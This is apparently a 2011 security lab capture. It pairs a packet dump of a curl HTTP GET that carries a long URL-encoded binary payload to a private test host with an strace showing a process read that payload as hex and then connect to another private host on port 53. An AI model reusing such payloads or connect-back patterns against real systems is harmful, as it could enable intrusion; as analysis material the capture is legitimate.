<packet>
  <proto name="geninfo" pos="0" showname="General information" size="1468">
    <field name="num" pos="0" show="1246" showname="Number" value="4de" size="1468"/>
    <field name="len" pos="0" show="1468" showname="Packet Length" value="5bc" size="1468"/>
    <field name="caplen" pos="0" show="1468" showname="Captured Length" value="5bc" size="1468"/>
    <field name="timestamp" pos="0" show="Aug  9, 2011 11:06:30.097160000" showname="Captured Time" value="1312880790.097160000" size="1468"/>
  </proto>
<proto name="http" showname="Hypertext Transfer Protocol" size="1400" pos="68">
    <field name="" show="[truncated] GET /csv/test.csv?yH%04%B6%7B*%EBN%B5%84%D3%F9%7F%2CG%7D%02%D5%0D1%E2%15%B4%3F%B9u%23%F5%8Ds%05%BEp%1Cg%40%91%97B7%7Cxz%3C%1D%98%3D%22%FC%BF%90vI%B2F4OK%18%D6J%BB%A9%2F%B8%24w%13%FD%B3%9F%A8%935%96%11%E3C%BA)%F6%E0f%87%F7%E1%0C" size="1263" pos="68" value="474554202f6373762f746573742e6373763f79482530342542362537422a2545424e2542352538342544332546392537462532434725374425303225443525304431254532253135254234253346254239752532332546352538447325303525424570253143672534302539312539374237253743787a253343253144253938253344253232254643254246253930764925423246344f4b2531382544364a2542422541392532462542382532347725313325464425423325394625413825393335253936253131254533432542412925463625453066253837254637254531253043253942254230253939272542372530302543312546382d2539322542312530422544312544322544347e2531342532357172783325464425384325453325374672792530342538392545307a7546253838254542747e432530432539372542412539392542312542382537436625423247774f25393225393125423638254639254235253031254532762d4b6725324325423325323025453173253430254239253346253830254436342539382541392542422542454e253744253135253344254246253844482531444127253242254434253143372541383025463525423769254435253946253032254430254638422539362539422533432542342539302539332532352542302538332546432530443570253134253035712537424a25324649253234253930372541387634412531412545312532462532332546442d782537432537442530432531442538442542322541392542397a73272538312545422530382544352532352533447125334625423074253132254532253342254533774e2531302544342a2545307e757046356b254639254231253942254238253034722533432539322539364a662539314f2537462537422530392544364979253041254330254638253243254245253044472542364225393325393725423525303578712534302542332538342546437428254635762531352537464b702531432542372539382537434825424225394625423472437925313925453325334125453225323425424625424167732125454225313425393977253346254230253938253931254237253844412541382542354275462542417a253234254242253937253044253942253744253135253835254530253134392545312530352542312530332546352533434b4725383625463848253939253742253034674f25334435253235254139254239492539322531437e253142254644322546432542342544362542462531442530432539334e342532462725443437254233662d2542454a2542382542322546392534302539302544352539462532432542364325393625444125443225424525423233253035253235254439742532342546345a332543392542312531323172253141253033722531412538332545412546432545324725303225444525443244362541334f25453025424225414125393144254444612544312546462537432531322531325725313325363025463425434625313450253946253543253746253841253045322546364b2546332544386e254434392539433663253138253243254637254136253142253035712543304c2546442541452531442531452539352544384e253832253043772531382541312539452544342539332543372541452544306e25383725323225464325303425303820485454502f312e310d0a">
      <field name="http.request.method" showname="Request Method: GET" size="3" pos="68" show="GET" value="474554"/>
      <field name="http.request.uri" showname="Request URI [truncated]: /csv/test.csv?yH%04%B6%7B*%EBN%B5%84%D3%F9%7F%2CG%7D%02%D5%0D1%E2%15%B4%3F%B9u%23%F5%8Ds%05%BEp%1Cg%40%91%97B7%7Cxz%3C%1D%98%3D%22%FC%BF%90vI%B2F4OK%18%D6J%BB%A9%2F%B8%24w%13%FD%B3%9F%A8%935%96%11%E3C%BA)%F6%E0f%87" size="1248" pos="72" show="/csv/test.csv?yH%04%B6%7B*%EBN%B5%84%D3%F9%7F%2CG%7D%02%D5%0D1%E2%15%B4%3F%B9u%23%F5%8Ds%05%BEp%1Cg%40%91%97B7%7Cxz%3C%1D%98%3D%22%FC%BF%90vI%B2F4OK%18%D6J%BB%A9%2F%B8%24w%13%FD%B3%9F%A8%935%96%11%E3C%BA)%F6%E0f%87%F7%E1%0C%9B%B0%99&apos;%B7%00%C1%F8-%92%B1%0B%D1%D2%D4~%14%25qrx3%FD%8C%E3%7Fry%04%89%E0zuF%88%EBt~C%0C%97%BA%99%B1%B8%7Cf%B2GwO%92%91%B68%F9%B5%01%E2v-Kg%2C%B3%20%E1s%40%B9%3F%80%D64%98%A9%BB%BEN%7D%15%3D%BF%8DH%1DA&apos;%2B%D4%1C7%A80%F5%B7i%D5%9F%02%D0%F8B%96%9B%3C%B4%90%93%25%B0%83%FC%0D5p%14%05q%7BJ%2FI%24%907%A8v4A%1A%E1%2F%23%FD-x%7C%7D%0C%1D%8D%B2%A9%B9zs&apos;%81%EB%08%D5%25%3Dq%3F%B0t%12%E2%3B%E3wN%10%D4*%E0~upF5k%F9%B1%9B%B8%04r%3C%92%96Jf%91O%7F%7B%09%D6Iy%0A%C0%F8%2C%BE%0DG%B6B%93%97%B5%05xq%40%B3%84%FCt(%F5v%15%7FKp%1C%B7%98%7CH%BB%9F%B4rCy%19%E3%3A%E2%24%BF%BAgs!%EB%14%99w%3F%B0%98%91%B7%8DA%A8%B5BuF%BAz%24%BB%97%0D%9B%7D%15%85%E0%149%E1%05%B1%03%F5%3CKG%86%F8H%99%7B%04gO%3D5%25%A9%B9I%92%1C~%1B%FD2%FC%B4%D6%BF%1D%0C%93N4%2F&apos;%D47%B3f-%BEJ%B8%B2%F9%40%90%D5%9F%2C%B6C%96%DA%D2%BE%B23%05%25%D9t%24%F4Z3%C9%B1%121r%1A%03r%1A%83%EA%FC%E2G%02%DE%D2D6%A3O%E0%BB%AA%91D%DDa%D1%FF%7C%12%12W%13%60%F4%CF%14P%9F%5C%7F%8A%0E2%F6K%F3%D8n%D49%9C6c%18%2C%F7%A6%1B%05q%C0L%FD%AE%1D%1E%95%D8N%82%0Cw%18%A1%9E%D4%93%C7%AE%D0n%87%22%FC%04%08" value="2f6373762f746573742e6373763f79482530342542362537422a2545424e2542352538342544332546392537462532434725374425303225443525304431254532253135254234253346254239752532332546352538447325303525424570253143672534302539312539374237253743787a253343253144253938253344253232254643254246253930764925423246344f4b2531382544364a2542422541392532462542382532347725313325464425423325394625413825393335253936253131254533432542412925463625453066253837254637254531253043253942254230253939272542372530302543312546382d2539322542312530422544312544322544347e2531342532357172783325464425384325453325374672792530342538392545307a7546253838254542747e432530432539372542412539392542312542382537436625423247774f25393225393125423638254639254235253031254532762d4b6725324325423325323025453173253430254239253346253830254436342539382541392542422542454e253744253135253344254246253844482531444127253242254434253143372541383025463525423769254435253946253032254430254638422539362539422533432542342539302539332532352542302538332546432530443570253134253035712537424a25324649253234253930372541387634412531412545312532462532332546442d782537432537442530432531442538442542322541392542397a73272538312545422530382544352532352533447125334625423074253132254532253342254533774e2531302544342a2545307e757046356b254639254231253942254238253034722533432539322539364a662539314f2537462537422530392544364979253041254330254638253243254245253044472542364225393325393725423525303578712534302542332538342546437428254635762531352537464b702531432542372539382537434825424225394625423472437925313925453325334125453225323425424625424167732125454225313425393977253346254230253938253931254237253844412541382542354275462542417a253234254242253937253044253942253744253135253835254530253134392545312530352542312530332546352533434b4725383625463848253939253742253034674f25334435253235254139254239492539322531437e253142254644322546432542342544362542462531442530432539334e342532462725443437254233662d2542454a2542382542322546392534302539302544352539462532432542364325393625444125443225424525423233253035253235254439742532342546345a332543392542312531323172253141253033722531412538332545412546432545324725303225444525443244362541334f25453025424225414125393144254444612544312546462537432531322531325725313325363025463425434625313450253946253543253746253841253045322546364b2546332544386e254434392539433663253138253243254637254136253142253035712543304c2546442541452531442531452539352544384e253832253043772531382541312539452544342539332543372541452544306e253837253232254643253034253038"/>
      <field name="http.request.version" showname="Request Version: HTTP/1.1" size="8" pos="1321" show="HTTP/1.1" value="485454502f312e31"/>
    </field>
    <field name="http.user_agent" showname="User-Agent: curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1\r\n" size="99" pos="1331" show="curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1" value="557365722d4167656e743a206375726c2f372e31382e302028693438362d70632d6c696e75782d676e7529206c69626375726c2f372e31382e30204f70656e53534c2f302e392e3867207a6c69622f312e322e332e33206c696269646e2f312e310d0a"/>
    <field name="http.host" showname="Host: 192.168.147.128\r\n" size="23" pos="1430" show="192.168.147.128" value="486f73743a203139322e3136382e3134372e3132380d0a"/>
    <field name="http.accept" showname="Accept: */*\r\n" size="13" pos="1453" show="*/*" value="4163636570743a202a2f2a0d0a"/>
    <field name="" show="\r\n" size="2" pos="1466" value="0d0a"/>
    <field name="http.request" showname="Request: True" hide="yes" size="0" pos="68" show="1"/>
  </proto>
</packet>

==========================================

18096 brk(0)                            = 0x804a000
18096 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
18096 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9b000
18096 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
18096 open("/etc/ld.so.cache", O_RDONLY) = 3
18096 fstat64(3, {st_dev=makedev(8, 1), st_ino=147158, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=120, st_size=53361, st_atime=2011/08/09-08:45:24, st_mtime=2011/04/11-17:02:34, st_ctime=2011/04/11-17:02:34}) = 0
18096 mmap2(NULL, 53361, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f8d000
18096 close(3)                          = 0
18096 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
18096 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
18096 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
18096 fstat64(3, {st_dev=makedev(8, 1), st_ino=114191, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=2680, st_size=1364388, st_atime=2011/08/09-08:45:24, st_mtime=2008/04/05-01:39:14, st_ctime=2008/11/07-12:35:24}) = 0
18096 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e3e000
18096 mmap2(0xb7f87000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7f87000
18096 mmap2(0xb7f8a000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f8a000
18096 close(3)                          = 0
18096 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e3d000
18096 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e3d6b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
18096 mprotect(0xb7f87000, 4096, PROT_READ) = 0
18096 munmap(0xb7f8d000, 53361)         = 0
18096 mmap2(NULL, 1003520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7d48000
18096 mmap2(NULL, 1003520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7c53000
18096 fstat64(0, {st_dev=makedev(0, 5), st_ino=78334, st_mode=S_IFIFO|0600, st_nlink=1, st_uid=0, st_gid=0, st_blksize=1024, st_blocks=0, st_size=0, st_atime=2011/08/09-11:07:46, st_mtime=2011/08/09-11:07:46, st_ctime=2011/08/09-11:07:46}) = 0
18096 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9a000
18096 read(0, "794804b67b2aeb4eb584d3f97f2c477d"..., 1024) = 1024
18096 read(0, "22fc0408\n", 1024)       = 9
18096 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
18096 connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.147.130")}, 16 <unfinished ...>
18095 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
18095 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
18095 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
18095 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
18095 rt_sigaction(SIGINT, {0x807f150, [], 0}, {SIG_DFL}, 8) = 0
18095 waitpid(-1,  <unfinished ...>
18096 <... connect resumed> )           = ? ERESTARTSYS (To be restarted)
18096 --- SIGINT (Interrupt) @ 0 (0) ---
18095 <... waitpid resumed> [{WIFSIGNALED(s) && WTERMSIG(s) == SIGINT}], 0) = 18096
18095 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
18095 --- SIGCHLD (Child exited) @ 0 (0) ---
18095 waitpid(-1, 0xbfb3b8d8, WNOHANG)  = -1 ECHILD (No child processes)
18095 sigreturn()                       = ? (mask now [])
18095 rt_sigaction(SIGINT, {SIG_DFL}, {0x807f150, [], 0}, 8) = 0
18095 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
18095 read(0, "", 1)                    = 0
18095 exit_group(130)                   = ?
